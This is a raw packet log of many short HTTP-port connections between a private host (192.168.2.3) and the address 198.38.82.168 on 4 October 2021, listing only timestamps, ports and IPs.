Oct 4, 2021 16:01:41.710689068 CEST	80	49818	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.723304987 CEST	80	49818	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.999989033 CEST	80	49818	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.000014067 CEST	80	49818	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.000165939 CEST	49818	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.210618973 CEST	49819	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.284215927 CEST	49820	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.366718054 CEST	80	49819	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.366863966 CEST	49819	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.367018938 CEST	49819	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.367069006 CEST	49819	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.399091005 CEST	80	49820	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.399279118 CEST	49820	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.399435043 CEST	49820	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.399492979 CEST	49820	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.515024900 CEST	80	49820	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.523024082 CEST	80	49819	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.554683924 CEST	80	49820	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.562200069 CEST	80	49819	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.845385075 CEST	80	49820	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.845654011 CEST	80	49820	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.845732927 CEST	49820	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:42.854424000 CEST	80	49819	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.854506016 CEST	80	49819	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:42.854568005 CEST	49819	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.199649096 CEST	49821	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.215234995 CEST	49822	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.314310074 CEST	80	49821	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.314506054 CEST	49821	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.314655066 CEST	49821	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.314707994 CEST	49821	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.334175110 CEST	80	49822	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.334305048 CEST	49822	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.334526062 CEST	49822	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.334640980 CEST	49822	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.430126905 CEST	80	49821	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.451967955 CEST	80	49822	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.471152067 CEST	80	49821	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.491730928 CEST	80	49822	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.779874086 CEST	80	49821	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.779932976 CEST	80	49821	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.780086994 CEST	49821	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:43.815268993 CEST	80	49822	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.815474033 CEST	80	49822	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:43.815633059 CEST	49822	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.057965994 CEST	49823	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.155263901 CEST	49824	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.176292896 CEST	80	49823	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.176539898 CEST	49823	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.176731110 CEST	49823	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.176820993 CEST	49823	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.271428108 CEST	80	49824	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.271606922 CEST	49824	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.271820068 CEST	49824	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.271975994 CEST	49824	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.295805931 CEST	80	49823	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.333937883 CEST	80	49823	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.386554003 CEST	80	49824	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.425831079 CEST	80	49824	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.670607090 CEST	80	49823	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.670655966 CEST	80	49823	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.670770884 CEST	49823	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.762088060 CEST	80	49824	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.762496948 CEST	80	49824	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:44.763571024 CEST	49824	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.876322985 CEST	49825	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:44.986318111 CEST	49826	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.032491922 CEST	80	49825	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.032671928 CEST	49825	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.032854080 CEST	49825	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.032977104 CEST	49825	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.101300001 CEST	80	49826	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.103538036 CEST	49826	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.103579998 CEST	49826	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.103841066 CEST	49826	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.189138889 CEST	80	49825	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.218636990 CEST	80	49826	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.228643894 CEST	80	49825	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.257827997 CEST	80	49826	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.555627108 CEST	80	49825	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.555895090 CEST	80	49825	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.555983067 CEST	49825	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.578389883 CEST	80	49826	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.578820944 CEST	80	49826	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.578883886 CEST	49826	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.769032955 CEST	49827	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.818470955 CEST	49828	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.945038080 CEST	80	49827	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.948498964 CEST	80	49828	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:45.949207067 CEST	49828	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.949311972 CEST	49828	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.949392080 CEST	49828	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.949834108 CEST	49827	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.949856043 CEST	49827	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:45.949862003 CEST	49827	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.112006903 CEST	80	49828	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.112045050 CEST	80	49828	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.112073898 CEST	80	49827	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.149084091 CEST	80	49827	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.415031910 CEST	80	49828	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.415184021 CEST	80	49828	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.415239096 CEST	49828	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.458635092 CEST	80	49827	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.458653927 CEST	80	49827	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.458745003 CEST	49827	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.768537045 CEST	49829	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.773406982 CEST	49830	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.927567005 CEST	80	49829	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.927689075 CEST	49829	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.927849054 CEST	49829	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.927920103 CEST	49829	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.932318926 CEST	80	49830	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:46.932430983 CEST	49830	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.932570934 CEST	49830	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:46.932619095 CEST	49830	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:47.086834908 CEST	80	49829	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:47.092143059 CEST	80	49830	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:47.127315998 CEST	80	49829	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:47.131213903 CEST	80	49830	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:47.530821085 CEST	80	49829	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:47.530911922 CEST	80	49829	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:47.531089067 CEST	49829	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:47.670283079 CEST	80	49830	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:47.670521021 CEST	80	49830	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:47.670762062 CEST	49830	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:47.886842966 CEST	49831	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:47.924371958 CEST	49832	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.005202055 CEST	80	49831	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.005304098 CEST	49831	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.005441904 CEST	49831	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.005495071 CEST	49831	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.089566946 CEST	80	49832	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.091420889 CEST	49832	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.091449976 CEST	49832	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.091458082 CEST	49832	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.124717951 CEST	80	49831	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.164882898 CEST	80	49831	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.252249956 CEST	80	49832	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.292205095 CEST	80	49832	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.516247034 CEST	80	49831	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.516499996 CEST	80	49831	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.516571999 CEST	49831	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.577909946 CEST	80	49832	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.578355074 CEST	80	49832	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.578491926 CEST	49832	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.829463005 CEST	49833	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.944160938 CEST	80	49833	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:48.944587946 CEST	49833	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.944678068 CEST	49833	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:48.944724083 CEST	49833	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.059334040 CEST	80	49833	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.098697901 CEST	80	49833	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.103743076 CEST	49836	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.221333027 CEST	80	49836	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.221488953 CEST	49836	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.221645117 CEST	49836	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.221705914 CEST	49836	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.338968992 CEST	80	49836	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.378935099 CEST	80	49836	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.397286892 CEST	80	49833	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.397315979 CEST	80	49833	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.397499084 CEST	49833	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.621805906 CEST	49838	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.687395096 CEST	80	49836	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.687558889 CEST	80	49836	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.687654018 CEST	49836	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.777910948 CEST	80	49838	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.778079033 CEST	49838	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.778331041 CEST	49838	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.778426886 CEST	49838	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.898469925 CEST	49840	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:49.934302092 CEST	80	49838	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:49.974351883 CEST	80	49838	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.013277054 CEST	80	49840	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.013420105 CEST	49840	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.013719082 CEST	49840	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.013842106 CEST	49840	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.128314972 CEST	80	49840	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.167776108 CEST	80	49840	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.291924953 CEST	80	49838	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.291987896 CEST	80	49838	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.292057991 CEST	49838	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.498512030 CEST	80	49840	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.499135017 CEST	80	49840	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.499205112 CEST	49840	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.524967909 CEST	49844	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.684031963 CEST	80	49844	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.684124947 CEST	49844	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.684297085 CEST	49844	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.684348106 CEST	49844	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.756258965 CEST	49846	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.843406916 CEST	80	49844	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.870852947 CEST	80	49846	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.870955944 CEST	49846	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.871126890 CEST	49846	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.871212006 CEST	49846	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:50.884196997 CEST	80	49844	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:50.985721111 CEST	80	49846	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.025796890 CEST	80	49846	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.189402103 CEST	80	49844	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.189831972 CEST	80	49844	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.189960003 CEST	49844	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.341017962 CEST	80	49846	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.341135025 CEST	80	49846	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.342634916 CEST	49846	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.400899887 CEST	49849	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.518726110 CEST	80	49849	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.518912077 CEST	49849	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.519088030 CEST	49849	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.519232035 CEST	49849	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.637157917 CEST	80	49849	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.639431953 CEST	49851	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.677058935 CEST	80	49849	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.753993034 CEST	80	49851	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.754089117 CEST	49851	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.754498959 CEST	49851	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.754513979 CEST	49851	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:51.869153023 CEST	80	49851	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.908873081 CEST	80	49851	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.999373913 CEST	80	49849	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.999414921 CEST	80	49849	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:51.999701977 CEST	49849	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.200598001 CEST	80	49851	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.201347113 CEST	80	49851	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.202195883 CEST	49851	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.212357044 CEST	49855	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.371849060 CEST	80	49855	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.372016907 CEST	49855	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.372184992 CEST	49855	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.372261047 CEST	49855	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.524774075 CEST	49861	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.531892061 CEST	80	49855	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.571225882 CEST	80	49855	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.642611980 CEST	80	49861	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.642971039 CEST	49861	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.643424988 CEST	49861	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.643599987 CEST	49861	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:52.761046886 CEST	80	49861	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.800659895 CEST	80	49861	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.911950111 CEST	80	49855	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.912185907 CEST	80	49855	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:52.912506104 CEST	49855	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.100542068 CEST	49865	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.121408939 CEST	80	49861	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.121623993 CEST	80	49861	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.121973991 CEST	49861	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.256756067 CEST	80	49865	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.257106066 CEST	49865	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.257313013 CEST	49865	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.257460117 CEST	49865	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.413938999 CEST	80	49865	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.454304934 CEST	80	49865	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.475270987 CEST	49868	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.634429932 CEST	80	49868	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.634668112 CEST	49868	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.635008097 CEST	49868	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.635071993 CEST	49868	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.746798038 CEST	80	49865	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.746953011 CEST	80	49865	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.747028112 CEST	49865	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:53.794156075 CEST	80	49868	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.833204031 CEST	80	49868	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:53.938925982 CEST	49872	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.056493044 CEST	80	49872	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.056674957 CEST	49872	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.056927919 CEST	49872	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.056999922 CEST	49872	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.129704952 CEST	80	49868	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.129823923 CEST	80	49868	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.129909039 CEST	49868	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.175405979 CEST	80	49872	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.214710951 CEST	80	49872	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.347853899 CEST	49876	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.465754032 CEST	80	49876	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.465893984 CEST	49876	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.466028929 CEST	49876	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.466092110 CEST	49876	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.510212898 CEST	80	49872	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.510236025 CEST	80	49872	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.510375977 CEST	49872	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.585364103 CEST	80	49876	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.624584913 CEST	80	49876	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.713776112 CEST	49878	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.869832993 CEST	80	49878	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.869965076 CEST	49878	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.870142937 CEST	49878	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.870191097 CEST	49878	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:54.946713924 CEST	80	49876	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.946866989 CEST	80	49876	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:54.947855949 CEST	49876	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.027024031 CEST	80	49878	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.067255974 CEST	80	49878	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.146286011 CEST	49881	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.263892889 CEST	80	49881	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.264023066 CEST	49881	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.264210939 CEST	49881	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.264267921 CEST	49881	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.346467972 CEST	80	49878	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.346503019 CEST	80	49878	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.346582890 CEST	49878	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.381730080 CEST	80	49881	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.421727896 CEST	80	49881	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.534250975 CEST	49884	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.652251959 CEST	80	49884	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.653012991 CEST	49884	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.653172016 CEST	49884	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.653229952 CEST	49884	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.712450981 CEST	80	49881	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.712647915 CEST	80	49881	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.712714911 CEST	49881	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:55.771102905 CEST	80	49884	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:55.809748888 CEST	80	49884	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.027582884 CEST	49887	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.105817080 CEST	80	49884	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.105845928 CEST	80	49884	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.105990887 CEST	49884	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.186609030 CEST	80	49887	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.186832905 CEST	49887	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.186971903 CEST	49887	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.187031984 CEST	49887	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.301831961 CEST	49889	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.347256899 CEST	80	49887	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.387242079 CEST	80	49887	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.461323023 CEST	80	49889	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.461513996 CEST	49889	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.461745977 CEST	49889	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.461788893 CEST	49889	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.621054888 CEST	80	49889	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.660125971 CEST	80	49889	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.713613033 CEST	80	49887	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.713639021 CEST	80	49887	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.713778019 CEST	49887	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.954807043 CEST	80	49889	198.38.82.168	192.168.2.3
